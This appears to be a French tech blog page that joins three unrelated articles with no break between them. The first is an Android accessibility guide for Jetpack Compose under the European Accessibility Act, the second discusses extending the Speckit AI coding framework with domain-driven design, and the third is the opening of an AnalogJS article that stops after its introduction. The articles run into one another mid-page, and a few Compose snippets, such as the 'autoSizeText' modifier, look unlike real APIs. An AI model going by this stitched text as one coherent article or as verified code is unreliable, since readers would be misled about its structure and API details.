L'accessibilité n'est plus un sujet de niche réservé à quelques équipes sensibilisées. En 2026, elle est devenue une obligation légale, un critère de référencement sur le Play Store, et ce que l'on dit moins souvent, un révélateur de la qualité globale d'une application.

Depuis le 28 juin 2025, l'European Accessibility Act (EAA) est entré en vigueur dans l'Union Européenne. Cette directive impose des exigences strictes aux applications distribuées dans l'UE, quelle que soit la localisation du siège social de l'entreprise. Elle s'applique en particulier aux services bancaires et financiers, à l'e-commerce, au transport, aux télécommunications et aux services de santé. En France, elle vient compléter le RGAA (Référentiel Général d'Amélioration de l'Accessibilité), qui reste la référence technique nationale.

Le calendrier est clair : les nouveaux produits doivent être conformes, les contrôles ont commencé en 2026, et les services existants ont jusqu'au 28 juin 2028 pour se mettre en conformité. Les sanctions ne sont pas symboliques. En France, la DGCCRF peut infliger des amendes à partir de 7 500 euros, avec une astreinte de 3 000 euros par jour de non-conformité, plafonnée à 300 000 euros. Il y a également un risque de retrait de l'application des stores européens.

Mais au-delà du cadre légal, un constat s'impose : selon la Banque Mondiale, 15 % de la population mondiale vit avec un handicap, et en Europe, environ un adulte sur quatre est concerné.

C'est un marché que beaucoup d'applications excluent involontairement, non par mauvaise volonté, mais par manque d'attention dès la conception.

Une responsabilité partagée, pas uniquement technique

Ce que l’on constate sur de nombreux projets, c’est que les problématiques d’accessibilité ne relèvent pas d’une seule discipline. Elles résultent souvent d’un manque de compréhension partagée entre le design et le développement, deux domaines qui n’abordent pas toujours ces enjeux avec les mêmes méthodes, outils ou réflexes.

Un ratio de contraste insuffisant n'est pas nécessairement une erreur de designer : c'est souvent une vérification qui n'a tout simplement pas été intégrée dans le processus de revue des maquettes, faute d'outillage ou de critère explicite. De la même façon, un développeur qui implémente fidèlement des spécifications inaccessibles n'est pas en tort, il manque simplement d'un signal en amont pour déclencher la conversation.

C’est précisément pour cette raison que l’accessibilité doit être portée collectivement. Elle nécessite une implication continue de l’ensemble des intervenants, de la conception à la recette en passant par le développement.

Ce qu'on observe encore trop souvent sur le terrain

Après plusieurs années d’accompagnement de clients sur ces sujets, certains problèmes reviennent avec une régularité déconcertante, non par négligence, mais parce que l’accessibilité est rarement testée en conditions réelles.

Le premier réflexe manquant, c'est de ne jamais avoir lancé TalkBack sur l'application. On découvre alors que des écrans entiers sont silencieux (des icônes sans contentDescription, des boutons dont le rôle n'est pas déclaré, des états qui ne sont communiqués que visuellement). L'utilisateur utilisant un lecteur d'écran est bloqué.

La mise à l’échelle dynamique du texte reste un autre aspect fréquemment oublié. Les tests se font quasi systématiquement avec la taille de police par défaut du système. Quand un utilisateur passe à 150 % ou 200 % , les layouts qui n'ont pas été conçus pour absorber ce changement s'effondrent : textes tronqués, chevauchements, boutons dont le libellé sort de sa zone. Ce n'est pas un cas rare, c'est un cas que la majorité des utilisateurs en situation de handicap visuel rencontre quotidiennement.

Les dialogs et bottom sheets posent eux aussi des problèmes récurrents. Le focus de TalkBack ne se déplace pas automatiquement vers le contenu de la modale lorsqu'elle s'ouvre, et ne revient pas à l'élément déclencheur à sa fermeture. L'utilisateur se retrouve à naviguer dans un contenu qui n'est plus visible à l'écran, sans comprendre ce qui s'est passé. C'est un comportement qu'on corrige en quelques lignes, mais qu'on ne voit jamais si on ne teste pas avec le lecteur d'écran.

Enfin, les contentDescription génériques sont peut-être l'erreur la plus répandue dans les listes et les composants répétés. Plusieurs cartes dans un feed, plusieurs produits dans un catalogue : chacun hérite de la même description "Image du produit", "Voir le détail". TalkBack les annonce tous de manière identique, rendant la navigation par balayage totalement inutilisable. C'est aussi l'un des cas les plus fréquents en production : une équipe qui pense avoir coché la case accessibilité, mais qui n'a jamais ouvert TalkBack. La conviction ne remplace pas le test. Chaque élément doit porter le contexte qui permet à l'utilisateur de savoir où il est et ce qu'il va activer.

Ce qui réunit tous ces cas, c'est qu'ils sont détectables en quelques minutes de test avec TalkBack, et rectifiables en quelques heures si on s'y prend tôt. C'est leur coût quand on les découvre en fin de projet ou pire, après un audit de conformité, qui devient problématique.

Ces problèmes ont un point commun : ils sont tous évitables si on sait où regarder. La bonne nouvelle, c'est que Jetpack Compose donne les outils pour les corriger proprement.

Implémenter l'accessibilité avec Jetpack Compose

Jetpack Compose intègre l'accessibilité au cœur de son architecture via le système de Semantics. En pratique, cela signifie que chaque décision d'implémentation a une incidence directe sur ce qu'un service d'accessibilité perçoit. Voici les points qui concentrent l'essentiel des erreurs et des corrections.

Descriptions de contenu

Chaque image interactive doit avoir une contentDescription claire et utile. La règle d'or : décrivez le contenu, pas l'apparence visuelle.

// ✅ Correct : description orientée contenu
Image(
    painter = painterResource(id = R.drawable.user_avatar),
    contentDescription = "Photo de profil de l'utilisateur",
    modifier = Modifier.size(48.dp)
)

// ✅ Image purement décorative : l'indiquer explicitement
Image(
    painter = painterResource(id = R.drawable.decorative_pattern),
    contentDescription = null,
    modifier = Modifier.semantics { invisibleToUser() }
)

Rôles sémantiques et fusion

Pour les composants custom, définissez explicitement le rôle sémantique afin que TalkBack comprenne comment interagir avec l'élément :

Box(
    modifier = Modifier
        .clickable { /* Action */ }
        .semantics {
            role = Role.Button
            contentDescription = "Télécharger le fichier"
        }
        .padding(16.dp)
) {
    Icon(Icons.Default.CloudUpload, contentDescription = null)
    Text("Télécharger")
}

Pour les composants composites (un avatar accompagné d'un nom, par exemple), utilisez mergeDescendants = true pour que TalkBack les traite comme une seule unité cohérente plutôt que de lire chaque enfant séparément :

Row(
    modifier = Modifier
        .clickable { /* Ouvrir profil */ }
        .semantics(mergeDescendants = true) {}
) {
    Image(
        painter = painterResource(R.drawable.avatar),
        contentDescription = "Avatar",
        modifier = Modifier.size(48.dp)
    )
    Text("Jean Dupont")
}
// TalkBack annonce : "Jean Dupont, Avatar, Bouton, double-tap pour activer"

Labels d'action et ordre de traversée

Les labels d'action permettent de donner du contexte à des boutons génériques comme "Lire plus" ou "Voir" :

Button(
    onClick = { /* Action */ },
    modifier = Modifier.semantics {
        onClick(label = "Ouvrir l'article complet") { true }
    }
) {
    Text("Lire plus")
}

Pour les layouts non-linéaires, l'ordre de traversée par défaut de haut en bas / gauche à droite peut ne pas correspondre à l'ordre logique. traversalIndex permet de le contrôler précisément.

LiveRegion pour les contenus dynamiques

Lorsqu'un contenu change dynamiquement (compteur de messages, état d'un formulaire), LiveRegionMode.Polite notifie TalkBack à la prochaine pause, sans interrompre la lecture en cours. LiveRegionMode.Assertive interrompt immédiatement (à réserver aux situations d'urgence réelle).

Text(
    text = "Vous avez $messageCount nouveaux messages",
    modifier = Modifier.semantics {
        liveRegion = LiveRegionMode.Polite
    }
)

Gestion du focus

Une confusion fréquente : focusRequester gère le focus clavier, pas le focus TalkBack. Pour déplacer le focus d'accessibilité vers un élément précis, il faut passer par les Semantics :

// ❌ Focus clavier uniquement, TalkBack ne suivra pas
TextField(
    value = text,
    onValueChange = { text = it },
    modifier = Modifier.focusRequester(focusRequester)
)

// ✅ Focus accessibilité correct
var focusedState by remember { mutableStateOf(false) }
TextField(
    value = text,
    onValueChange = { text = it },
    modifier = Modifier.semantics { focused = focusedState }
)
LaunchedEffect(Unit) {
    delay(100)
    focusedState = true
}

Exigences visuelles : contraste, tailles et texte

Contraste des couleurs

Le ratio de contraste doit être d'au moins 4.5:1 pour les textes de moins de 18pt (ou 14pt en gras), et d'au moins 3:1 pour les textes plus grands. Utiliser les couleurs du Material Theme est la façon la plus simple de respecter ces exigences par défaut puisque les palettes Material sont construites pour respecter les ratios WCAG. Les couleurs hardcodées, en revanche, sont un terrain miné.

// ✅ Contraste garanti via Material Theme
Text(
    text = "Texte accessible",
    color = MaterialTheme.colorScheme.onBackground,
    fontSize = 16.sp
)

// ❌ Risque de contraste insuffisant
Text(
    text = "Texte difficile à lire",
    color = Color.Gray,
    fontSize = 14.sp
)

Mise à l'échelle du texte

La prise en charge du redimensionnement dynamique du texte, basé sur les paramètres système de l’utilisateur, est un aspect à prendre en compte avec attention.

// ✅ Utilisation de l'échelle sp (scale-independent pixels)
Text(
    text = "Texte scalable",
    fontSize = 16.sp, // S'adapte aux préférences utilisateur
    lineHeight = 24.sp
)

// ❌ Taille fixe en dp (ne scale pas)
Text(
    text = "Texte non-scalable",
    fontSize = 16.dp.toSp() // Mauvaise pratique
)

// ✅ Auto-sizing text (Compose BOM 2025.05+)
Text(
    text = longText,
    modifier = Modifier
        .width(200.dp)
        .autoSizeText(
            minFontSize = 12.sp,
            maxFontSize = 20.sp
        )
)

Tailles de cibles tactiles

Chaque élément interactif doit avoir une zone tactile d'au moins 48dp × 48dp. Ce point est plus subtil qu'il n'y paraît : la taille visible d'un élément peut être inférieure à 48dp, à condition que le padding compense. Ce qui compte, c'est la zone de contact, pas l'icône.

IconButton(
    onClick = { /* Action */ },
    modifier = Modifier.size(48.dp)
) {
    Icon(
        imageVector = Icons.Default.Delete,
        contentDescription = "Supprimer",
        modifier = Modifier.size(24.dp) // Icône visuellement plus petite
    )
}

Champs de saisie : labels et types de clavier

Chaque champ de saisie doit avoir un label qui reste visible après la prise de focus. Un placeholder qui disparaît à la saisie n'est pas un label.

// ✅ Label persistant
OutlinedTextField(
    value = email,
    onValueChange = { email = it },
    label = { Text("Adresse e-mail") },
    keyboardOptions = KeyboardOptions(
        keyboardType = KeyboardType.Email,
        imeAction = ImeAction.Next
    )
)

// ❌ Placeholder uniquement : disparaît après saisie
TextField(
    value = email,
    onValueChange = { email = it },
    placeholder = { Text("Entrez votre e-mail") }
)

Associez toujours le bon type de clavier à chaque champ : KeyboardType.Email pour les emails, KeyboardType.Phone pour les téléphones, KeyboardType.Decimal pour les montants. C'est une ligne de code qui améliore concrètement l'expérience de saisie pour tout le monde.

Orientation et support RTL

L'application ne doit pas imposer une orientation pour accéder au contenu. À partir d'Android 16 (API level 36), les attributs android:screenOrientation comme "portrait" ou "landscape" sont ignorés par le système pour les apps ciblant ce niveau d'API. Cette évolution technique renforce la conformité EAA, mais elle peut aussi surprendre des équipes qui avaient verrouillé l'orientation sans en tenir compte dans leurs layouts.

Pour les langues RTL (arabe, hébreu), préférez les arrangements Start/End aux Left/Right. Ils s'inversent automatiquement selon la direction du layout.

Tests : ne pas faire confiance qu'aux outils automatisés

TalkBack : le test minimum absolu

Il n'y a pas de substitut à un test manuel avec TalkBack activé. La procédure est simple : activez TalkBack dans Paramètres > Accessibilité, naviguez avec les gestes (glisser à droite pour l'élément suivant, double-tap pour activer), et parcourez les flux principaux de votre application. Les questions à se poser : tous les éléments interactifs sont-ils annoncés ? Les annonces sont-elles claires et pertinentes ? L'ordre de navigation est-il logique ? Peut-on toujours revenir en arrière sans être piégé ?

TalkBack

Compose UI Check et Lint

Android Studio intègre Compose UI Check, un mode d'audit automatique pour les Compose Previews. Il détecte les problèmes de contraste, les tailles de cibles tactiles insuffisantes, le texte étiré sur grands écrans, et simule des déficiences visuelles. Les warnings Lint d'accessibilité (contentDescription manquante sur une image, par exemple) incluent des liens directs vers le code source. Ils méritent d'être traités avec la même rigueur que les autres warnings.

Compose UI Check

Pre-launch reports de la Play Console

À chaque soumission d'un App Bundle, la Play Console génère automatiquement un rapport de pré-lancement qui inclut une section accessibilité (tests sur appareils physiques, détection de labels manquants, de problèmes de contraste, de zones tactiles trop petites). C'est une vérification automatique gratuite qu'il serait dommage de ne pas consulter.

Tests utilisateurs

Les outils automatisés captent une minorité des problèmes réels. Le reste se découvre en observant de vraies personnes utiliser l'application. Les organisations locales d'accompagnement du handicap et des plateformes comme permettent de recruter des testeurs en situation de handicap. C'est un investissement qui révèle systématiquement des frictions invisibles aux tests automatisés.

Évolutions récentes à connaître

TalkBack et Gemini

Depuis TalkBack 16.0, les utilisateurs peuvent décrire l'écran entier, poser des questions de suivi sur des images, et dicter du texte avec des commandes vocales avancées. TalkBack ne lit plus simplement les étiquettes que vous avez définies. Il peut, dans une certaine mesure, compenser leur absence grâce à l'IA.

C'est une évolution qui soulève une question légitime dans les équipes : si l'IA peut générer une description à la volée, pourquoi renseigner les contentDescription ?

La réponse est double. D'abord, la fiabilité : une description générée automatiquement peut être imprécise, trop verbeuse, ou mal contextualisée. Ensuite, la conformité légale : l'EAA ne s'appuie pas sur les capacités compensatoires de TalkBack. Elle évalue ce que l'application expose elle-même. Une contentDescription manquante reste une non-conformité, quelle que soit l'IA en arrière-plan.

En pratique, voyez TalkBack + Gemini comme un filet de sécurité pour les cas résiduels, pas comme une alternative à une implémentation correcte.

Le thème sombre "étendu"

Le thème sombre "étendu" assombrit automatiquement les applications qui n'ont pas leur propre mode sombre natif. C'est une évolution à tester explicitement : certains composants custom réagissent mal à ce forçage et peuvent produire des contrastes inattendus.

Déclaration de conformité

L'EAA requiert une déclaration d'accessibilité publique, facilement accessible aux utilisateurs. Privilégiez une combinaison : une section dans l'application (Paramètres > Accessibilité), une page dédiée sur votre site web, et une mention dans la fiche Play Store. La déclaration doit indiquer le niveau de conformité, la date d'évaluation, la méthode utilisée, les limitations connues, et un contact pour signaler des problèmes.

Contenu recommandé :

# Déclaration d'accessibilité

## Niveau de conformité
Cette application est conforme au niveau AA des WCAG et à la norme EN 301 549.

## Date d'évaluation
Dernière évaluation : [date]

## Méthode d'évaluation
- Tests automatisés avec Accessibility Scanner
- Audit manuel avec TalkBack
- Tests utilisateurs avec personnes en situation de handicap

## Limitations connues
[Lister les éventuelles limitations avec plan de résolution]

## Contact
Pour signaler un problème d'accessibilité : accessibility@example.com

Checklist de mise en conformité

Niveau 1 — Fondamentaux

Les items suivants constituent le minimum pour être dans les clous de l'EAA. Toutes les images ont une contentDescription appropriée. Le contraste des couleurs respecte les ratios WCAG (4.5:1 pour le texte normal, 3:1 pour le texte large). Les zones tactiles font au moins 48dp × 48dp. Le texte est dimensionné en sp. Les flux principaux ont été testés avec TalkBack. Aucune information n'est transmise uniquement par la couleur. Les pre-launch reports de la Play Console ont été consultés et les problèmes résolus. Les warnings Lint d'accessibilité sont traités. Le contenu est accessible quelle que soit l'orientation.

Niveau 2 — WCAG 2.1 AA complet

Au-delà des fondamentaux : l'ordre de traversée TalkBack est logique et vérifié. Les labels d'action sont explicites pour les boutons génériques. Les LiveRegions notifient les changements de contenu dynamique. Le support RTL est implémenté. Switch Access et Voice Access ont été testés. Les vidéos ont des sous-titres et des transcriptions. Les champs de saisie ont des labels persistants et les bons types de clavier. Il n'y a pas de piège au focus.

Niveau 3 — Excellence

Des tests ont été réalisés avec de vrais utilisateurs en situation de handicap. La documentation d'accessibilité est maintenue pour l'équipe. Les tests d'accessibilité sont intégrés en CI/CD via l'Accessibility Test Framework. L'équipe a reçu une formation aux bonnes pratiques. Un mode de contraste élevé dédié est disponible.

Ressources et outils

Se former à l'accessibilité Android ne manque pas de matière, mais tout n'a pas la même valeur. Voici ce que j'utilise et recommande réellement.

Pour démarrer, le parcours de formation officiel Google est la référence la mieux structurée : il combine des vidéos introductives sur le fonctionnement des services d'accessibilité, des articles techniques sur les erreurs courantes, et un codelab pratique avec des exercices sur les labels de contenu, les zones tactiles et le contraste. C'est le point d'entrée que je conseille à tout développeur Android qui aborde le sujet pour la première fois. Pour aller plus loin techniquement, la documentation Jetpack Compose Accessibility et le guide Android Accessibility sur developer.android.com restent les références les plus à jour .

Côté outils de développement, trois sont vraiment indispensables au quotidien. Compose UI Check dans Android Studio est le plus sous-utilisé : il détecte en temps réel les problèmes de contraste et de taille tactile directement dans les previews, sans avoir à déployer l'application. Accessibility Scanner (disponible sur le Play Store) complète ce travail sur un vrai appareil, en capturant l'écran et en listant les suggestions d'amélioration. Et WebAIM Contrast Checker est l'outil le plus simple pour valider un ratio de contraste en quelques secondes. Je recommande de l'intégrer dans le processus de revue des maquettes, pas seulement en développement.

Pour le contexte réglementaire français, deux ressources font autorité. Le guide d'audit d'applications mobiles de la DINUM est la référence officielle pour auditer la conformité au RGAA. Et Mon Parcours Handicap publie des mises à jour régulières sur l'application de l'EAA en France, utiles pour suivre l'évolution des exigences et des sanctions.

Enfin, si vous cherchez un exemple de code de référence qui applique l'ensemble des bonnes pratiques Android (accessibilité incluse), l'application Now in Android de Google est open source et vaut la peine d'être parcourue. C'est plus instructif que la plupart des tutoriels.

Au-delà de la conformité

Il y a une façon réductrice d'aborder l'accessibilité : la voir comme une contrainte réglementaire à cocher pour éviter les sanctions. C'est compréhensible, mais c'est passer à côté de ce que l'accessibilité révèle réellement sur la qualité d'une application.

Une application accessible, c'est une application qui a été pensée pour fonctionner dans des conditions variées (écran en plein soleil, saisie d'une seule main, connexion dégradée, police agrandie). Les fonctionnalités qui bénéficient aux personnes en situation de handicap bénéficient à tous les autres dans les mêmes situations. Une interface qui fonctionne bien au clavier est plus rapide pour les utilisateurs avancés. Un contraste suffisant est plus confortable par forte luminosité.

D'un point de vue business, le marché concerné n'est pas marginal : environ 101 millions de personnes en Europe ont une forme de handicap. Le Play Store évalue et met en avant les fonctionnalités d'accessibilité dans les fiches d'application. Et sur un marché saturé, c'est une différenciation concrète que peu d'équipes exploitent encore sérieusement.

Le coût de la non-conformité, lui, va bien au-delà des amendes. Un retrait de store signifie une perte totale de revenus sur le marché européen. Une mauvaise presse autour de l'accessibilité laisse des traces durables. Et la dette technique accumulée en ignorant le sujet coûte systématiquement plus cher à corriger a posteriori qu'à intégrer dès le départ.

Pour aller plus loin : Android Accessibility Guide · Jetpack Compose Accessibility · Codelab officiel · Guide d'audit DINUM · European Accessibility Act — Commission européenne

Cet article a été mis à jour en juin 2026 sur la base des dernières recommandations de Google, de la norme EN 301 549 et des exigences de l'European Accessibility Act.

Le framework est à ce jour parmi les plus expérimentés (122K stars sur Github là maintenant). Cependant, face à d'autres tels que BMAD notamment, il peut paraître moins adapté au Brownfield, et plus à l'aise sur la création en partant de rien. Chacun ses avantages et inconvénients, l'expérimentation mondiale actuelle autour de ces solutions de génération de code par IA répondra tôt ou tard à la grande question de savoir quelle méthode ou framework va l'emporter pour devenir le standard du développement du futur. Ou bien si un standard émergera vraiment.

Et comme Speckit présente de réels avantages, voyons si l'on peut travailler sur ses faiblesses. C'est une réflexion en cours ouverte à la critique. Voyons point par point, le constat du problème et des propositions de solutions.

La hiérarchie des fichiers

Les premiers essais avec Speckit sont encourageants. Tout est structuré, à sa place. Puis à chaque nouvelle demande d'évolution de votre code, Speckit crée un nouveau répertoire dans lequel il va générer et stocker les spécifications, plans d'implémentation, tâches...

Si vous envisagez un cycle en V c'est parfait. Vous donnez votre cahier des charges en paramètre d'un /speckit.specify et vous déroulez le cycle un minimum de fois. Mais si l'on veut démarrer vite, l'arborescence des spécifications et tests devient illisible et on fait une croix sur l'expérience humaine. Et dans une équipe de 4 ou 5 développeurs c'est problématique. La combinatoire développeur x prompt donne naissance à une myriade de répertoires qui potentiellement se recouvrent fonctionnellement ou techniquement. La tendance naturelle qui en découle est donc de préparer son prompt le plus possible pour minimiser le nombre de jets avant de parvenir au résultat, et donc de retomber dans un cycle en V.

Pourquoi c'est un problème ? Comme nous l'avons vu dans le premier article Comment l'IA redéfinit la QA avec Speckit, ces répertoires contiennent spécifications et tests d'acceptance. On peut alors se retrouver avec des incohérences ou des doublons si une même feature est éclatée dans plusieurs dossiers. Le skill /speckit.analyze est censé pallier ce problème, mais il n'est pas infaillible et surtout il intervient a posteriori, et si on pense à le déclencher (il n'est pas obligatoire). Et je préfère garantir la consistance de ma spécification car encore souvent, c'est encore elle qui fait foi "contractuellement".

Comment faire ?

La capture d'écran précédente montre l'évolution de la spécification de notre application de prise de rendez-vous depuis le 1er article. Forcément, le temps a passé et les features se sont multipliées. Admettons qu'aujourd'hui, nous souhaitions apporter une modification en triant la liste des praticiens par proximité décroissante par rapport à l'utilisateur. Quelle est la spécification concernée ?

• 001-pro-client-booking ?

• 003-lazy-days-loading ?

• 005-nearby-practitioner-agendas ?

Pourrions-nous rendre cette arborescence plus lisible, pour savoir instantanément quelle spécification porte la logique de construction de la liste des praticiens, et connaître rapidement les tests d'acceptance concernés ?

Imaginons un nouveau skill /speckit-design qui à ce stade du projet, permettrait d'analyser les spécifications existantes pour identifier les domaines métier :

et qui créerait une nouvelle arborescence de spécifications avec un seul sous-répertoire et un seul fichier de spec (vide pour le moment) par domaine. Si nécessaire, le skill poserait des questions pour identifier le ou les bons domaines liés à la demande, sur le modèle de /speckit.clarify :

Le skill a aussi généré un descripteur domain-map.md des domaines métier, des relations entre eux, et du mapping des anciens répertoires de specs vers les nouveaux domaines.

Le skill a généré aussi une proposition de modèle d'information commun :

C'est déjà plus propre. Mais comment faire avec notre legacy de 1 an de fichiers de spécification ?

Imaginons donc un autre skill /speckit-spec-refactor qui irait identifier dans les anciennes spécifications les impacts dans chaque domaine

et qui rangerait au bon endroit chaque US, chaque test. Idéalement, ce skill one-shot ne devrait pas simplement copier-coller les anciennes spécifications dans la nouvelle arborescence, mais devrait aussi les réécrire par domaine.

Une fois le travail terminé, on ne se base plus sur les anciennes spécifications, mais uniquement sur les spécifications par domaine. Il faut inscrire dans la constitution que toute demande doit désormais être routée vers les spécifications par domaine :

VI. Frontières DDD et autonomie des domaines

Le modèle métier et les frontières de domaines priment sur la commodité technique.

Toute fonctionnalité DOIT être rattachée à un domaine métier explicite (specs/domains/<domain>).

Les bounded contexts DOIVENT rester autonomes: vocabulaire, invariants, et règles propres.

Le partage direct de modèles entre domaines DOIT être évité; utiliser des contrats explicites et/ou une couche d’anti-corruption.

La duplication de code entre domaines est AUTORISÉE (et peut être préférée) lorsqu’elle protège la clarté des frontières métier.

Un composant "commun" n’est acceptable que s’il représente une capacité réellement partagée et non une fuite de frontière.

Essayons maintenant de réaliser notre nouvelle évolution :

/speckit-specify la liste des praticiens doit être triée par proximité par rapport à l'adresse géolocalisée ou saisie par l'utilisateur

Le skill ignore la spécification legacy, et se concentre sur l'impact à apporter aux spécifications par domaine. Il identifie d'abord le(s) domaine(s) concerné(s) par ma demande :

Puis speckit retravaille uniquement la spécification du domaine en ajoutant les règles de gestion nécessaires :

Ensuite appelons le skill /speckit-plan :

et enfin, /speckit-tasks et /speckit-implement pour se concentrer sur le plan généré. Et hop, notre évolution est réalisée, les praticiens sont triés par distance croissante.

C'est moche, essayons d'arranger ce layout :

/speckit-specify Refonte de l'interface utilisateur (UX/UI) pour optimiser l'espace et la disposition de la liste des praticiens.

Densifie la liste des praticiens pour afficher plus d'informations à l'écran. Elargis la carte principale pour qu'elle s'adapte dynamiquement à la largeur de la fenêtre du navigateur (mode "full-width" responsive). Transforme la liste actuelle en une grille de tuiles (cards). Disposition des tuiles : alignement de gauche à droite, puis de haut en bas (layout Grid / Flexbox multiligne). Comportement : le nombre de tuiles par ligne doit s'ajuster automatiquement selon la largeur de la fenêtre pour maximiser l'espace disponible. Remplace aussi le menu secteur par un curseur de 0 à 100km

On lance et ...

Eh oui ! Si vous êtes un lecteur averti - nul doute là-dessus, puisque vous êtes sur Niji.tech, le meilleur de la tech by Niji - vous aurez noté précédemment que

toute demande doit désormais être routée vers les spécifications par domaine

donc /speckit.design ne modifie que la spécification concernée :

Quelques étapes plus loin, on obtient notre évolution, raccord avec spécifications et tests :

Pour aller au bout de notre idée, rajoutons à la constitution :

Pour toute nouvelle feature, speckit-design DOIT etre la premiere etape (routage bounded context + dossier domaine cible).

ce qui aura pour effet d'interdire les /speckit.specify sans avoir lancé /speckit.design au préalable

La parallélisation des développements.

Speckit est efficace en solitaire. Mais on a encore parfois besoin d'une équipe de plusieurs développeurs augmentés pour tenir un planning. Le risque de se marcher dessus augmente donc. Ce constat n'est pas nouveau mais il est exacerbé avec l'IA gen : chaque développeur travaille sur sa fenêtre de contexte et sa spécification, en revanche le code lui est partagé dans toute l'équipe. Quand 3 développeurs vont lancer un /speckit.implement et qu'une partie de code est commune aux 3 développeurs, le nombre de conflits va exploser et la gestion des branches avec.

Comment faire ?

Traditionnellement, investir dans le Domain Driven Design suppose une rigueur technico-fonctionnelle lourde et souvent coûteuse à mettre en place. Mais on peut s'en inspirer pour garder les principes qui nous intéressent, sans forcément aller jusqu'au bout de la philosophie. Comme on l'a vu, il est possible de déléguer à l'IA la définition des domaines métier, en les interprétant à partir du besoin exprimé et du code existant ; on peut aussi lui demander de générer le langage ubiquitaire (le modèle d'information commun) ; ainsi que l'architecture en couches propre au DDD.

Dans l'exemple précédent, non seulement notre application de prise de rendez-vous a été spécifiée par domaine, mais notre nouveau skill /speckit.design a aussi respecté une implémentation selon l'approche Domain Driven Design :

Le code est bien découpé par domaine, l'UI et la logique sont bien séparés et l'infrastructure est gérée à part. L'implémentation par IA n'a pas duré plus longtemps, mais elle a rendu une architecture plus facile à appréhender. Même étant seul développeur, je sais exactement où intervenir pour faire évoluer telle fonctionnalité. A plusieurs, on peut se responsabiliser chacun sur son domaine métier. Voire revenir à des notions de feature team augmentées. Le travail se parallélise mieux.

Oui, cette architecture apportera sans doute une complexité supplémentaire, mais est-ce encore un problème à l'heure de la gen AI ? On gagne surtout les avantages d'une architecture solide, propre et pérenne à un coût infiniment moindre par rapport à l'époque so-2020 où la gen AI n'avait pas encore percé.

(c'est de l'humour, on se calme équipe 1er degré :)

Le cycle d'instructions

Avec Speckit, le cycle d'instructions à respecter est fastidieux, même si vous souhaitez juste modifier un bouton.

Voici la description du cycle complet :

Le respect de ce cycle assure qu'à chaque instant vos spécifications, vos tests et votre code sont synchronisés au sein du même repository. Cependant on sait tous qu'en cas d'urgence, le délai de déploiement d'un correctif peut justifier de modifier le code manuellement en allant au plus vite. Il parait donc utopique de conserver cette rigueur sur la durée. Les spécifications et les tests ne reflètent alors plus le code et ne sont plus une source de vérité pour l'avenir.

Comment faire ?

Dans notre exemple précédent, nous utilisions le nouveau skill /speckit.design pour identifier les domaines métier, puis il fallait enchainer avec /speckit.specify et la demande. Faisons évoluer /speckit.design pour être utilisé soit seul (identification des domaines métier, mise en place de l'arborescence projet raccord), soit directement avec une demande. Dans ce cas, le skill enchainera avec /speckit.specify pour réaliser la spécification nécessaire :

Speckit détecte bien le domaine concerné par ma demande :

Ensuite, si on est pressé il est possible de lier manuellement les appels suivants :

Voire on pourrait imaginer un skill /speckit-dash qui automatiserait ces appels. On aurait ainsi le choix de dérouler chacune des étapes manuellement avec la maîtrise du plan d'implémentation et des tâches qui en découlent, ou d'exécuter une fois /speckit-dash si on accorde notre confiance à Speckit pour faire les bons choix.

On réduit ainsi le cycle d'instruction nécessaire, notamment pour intervenir en urgence et déployer un correctif rapidement.

Toutefois, dans ce contexte il sera plus rapide donc plus instinctif d'aller directement modifier le code généré par l'IA, ou de prompter de façon brute le correctif souhaité, plutôt que de repasser par des skills. Dans ce cas, on va créer un écart entre les spécifications et le produit. Des plugins existent déjà tels que bgervin/spec-kit-sync pour resynchroniser vos spécifications depuis le code.

Synthèse

Speckit allie rigueur et flexibilité pour s’adapter aux besoins de chaque projet. Il peut offrir une structure solide pour les projets encadrés ou basculer vers plus de souplesse quand nécessaire. Des ajustements ciblés permettent de rationaliser la spécification par domaine métier, facilitant son appropriation. Dans cet article, nous avons exploré l'intégration de l'IA pour automatiser le Domain Driven Development, ce qui améliore la parallélisation des tâches tout en assurant une synchronisation parfaite entre le produit et ses spécifications. La réduction des cycles d’instructions accélère également le développement si besoin. Enfin, le découpage par domaine métier optimise le travail des équipes distribuées en adaptant le cadre à leur organisation.

Conclusion

Cette exploration de Speckit en 2 articles montre que les outils d'IA générative ne suppriment pas le besoin de rigueur, mais le déplacent. Vibe-coder vite et sale n'a jamais été aussi accessible, mais c'est dangereux. Car le gain observé à court terme masque une dette menaçant la pérennité du produit. Les solutions actuelles de harness engineering telles que Speckit peuvent apporter une solution. En combinant une approche ATDD (le produit fait ce qu'on attend de lui), une Constitution (pour mettre des limites à l'IA), et une approche inspirée du DDD (pour cloisonner les responsabilités et permettre le travail en équipe), on commence à imaginer ce que sera le développement augmenté de demain.

En prolongeant la réflexion, on peut imaginer que le code va passer de livrable final à sous-produit technique, automatisable...et jetable ! La richesse d'un projet résidant dans ses spécifications, son architecture et son modèle métier qu'il sera possible de réimplémenter à volonté.

Nous avons exploré Speckit et l'avons "hacké" pour s'adapter aux contraintes de la vraie vie mais les standards sont encore à écrire, et définiront le métier de développeur augmenté. Un développeur qui loin de disparaître, deviendra l'ultime garant du projet. Il devra suivre la cadence infernale de l'IA qui développe, en sécurisant l'architecture fonctionnelle et technique empêchant l'IA de détruire demain ce qu'elle a construit aujourd'hui.

• Introduction et contexte

• Qu’est-ce qu’AnalogJS ?

• La construction d’AnalogJS : sur quoi repose-t-il ?

• AnalogJS et le SSR : quelle différence avec @angular/ssr ?

• Cas d’usage concrets, exemples simples et principes clés

• Les raisons d'adopter AnalogJS

• Les limites: ce qu'il faut savoir avant de se lancer

• Conclusion

Introduction et contexte

Ces dernières années, l'écosystème frontend a vu fleurir de nombreux meta-frameworks comme Next.js pour React ou Nuxt pour Vue. Ces nouveaux arrivants ont révolutionné le domaine en proposant une intégration plus poussée du développement Web : Server Side Rendering (SSR), Static Site Generator (SSG), routing simplifié ou encore une optimisation de performances directement intégrée dans l'outil. Ces intégrations répondent à un besoin réel du terrain concernant les projets modernes, notamment autour du Search Engine Optimization (SEO) et de la simplification des architectures.

De son côté, Angular est historiquement orienté Single Page Application (SPA). Si le framework propose aujourd'hui une solution SSR officielle via @angular/ssr (depuis Angular 17), sa mise en place reste à la charge du développeur et peut nécessiter une configuration non négligeable selon le contexte projet. En parallèle, les ajouts des Signals ou des standalone components indiquent clairement une volonté de moderniser l'expérience développeur.

AnalogJS s'insère dans cette dynamique en proposant une approche inspirée par les meta-frameworks modernes et avec pour but de simplifier les problématiques full-stack dans les projets Angular.

Plus loin que la simple découverte de l'outil, l'objectif de cet article est de comprendre ce qu'apporte AnalogJS à l'écosystème Angular et dans quels contextes son utilisation apporte de la valeur.

Qu’est-ce qu’AnalogJS ?

